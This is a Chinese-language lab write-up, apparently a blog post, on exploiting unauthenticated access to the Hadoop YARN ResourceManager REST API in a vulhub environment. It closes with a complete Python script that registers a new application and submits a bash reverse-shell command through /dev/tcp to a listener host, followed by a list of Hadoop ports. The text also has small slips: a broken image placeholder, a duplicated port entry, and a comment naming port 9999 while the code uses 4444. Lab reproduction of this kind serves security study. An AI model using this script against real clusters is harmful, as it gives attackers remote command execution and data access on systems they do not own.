Hadoop-未授权访问
漏洞简介
hadoop是一个有apache基金会开发的分布式文件系统,一个存储系统+计算框架的软件框架。主要解决海量数据存储与计算的问题,yarn是搭建在其上的对集群资源实现同一管理的资源管理平台。由于服务器的配置不当开放了HFDS的50070及相关服务端口,导致攻击者可以利用命令行直接操作多个目录下的数据(删除、下载、甚至命令执行)
适用版本
2.9.0 <= Apache Hadoop <= 2.10.1``3.0.0-alpha <= Apache Hadoop <= 3.2.3``3.3.0 <= Apache Hadoop <= 3.3.3
搭建环境
本地虚拟机:ubuntu:192.168.253.250
搭建工具:docker-compose
靶场环境:vulhub
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WTjgmEXR-1684508902067)(Hadoop_unauthorized-yarn.assets/image-20230507105159174.png)]
攻击主机:centos7.0 :192.168.253.145
监听主机:kali :192.168.253.135
漏洞复现:
- 开启漏洞环境并查看相关配置
-
访问对应的8088端口:
-
访问就跳转到cluster目录,我们继续访问当前目录的apps路径,如果存在则说明有未授权访问
- 确认存在之后准备反弹shell操作,使用kali监听端口4444:
- centos使用脚本进行攻击(这里可以直接使用kali执行脚本,我真是个大聪明。。。代码附文末):
- 查看监听结果,拿到shell:
-
同时在网站页面上出现记录:
-
附脚本:
import requests
target = 'http://192.168.253.250:8088/' #http://远端服务器的ip:port
lhost = '192.168.253.135' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/4444 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
关于hadoop常见端口:
- 50070:Hadoop的常用WEB UI管理端口,用户可通过此端口浏览hadoop的大致情况和对其调整
- 8020:Hadoop的nameNode端口,是负责管理Hadoop的文件系统,通过此端口可访问hadoop的文件系统
- 8030:Hadoop的资源管理端口,负责管理Hadoop的集群资源、内存和cpu等,通过此端口用户可以访问ResourseManager
- 8088:hadoop的ApplicationManager(应用管理器)端口,负责协调应用程序的执行,同错此端口用户可以访问hadoop的ApplicationManager查看应用状态、日志等信息
- 9000:hadoop的HDFS( document file system)端口,负责存储Hadoop的集群的资源,通过此端口用户可以访问HDFS进行文件操作。
- 9000:hadoop的HDFS( document file system)端口,负责存储Hadoop的集群的资源,通过此端口用户可以访问HDFS进行文件操作。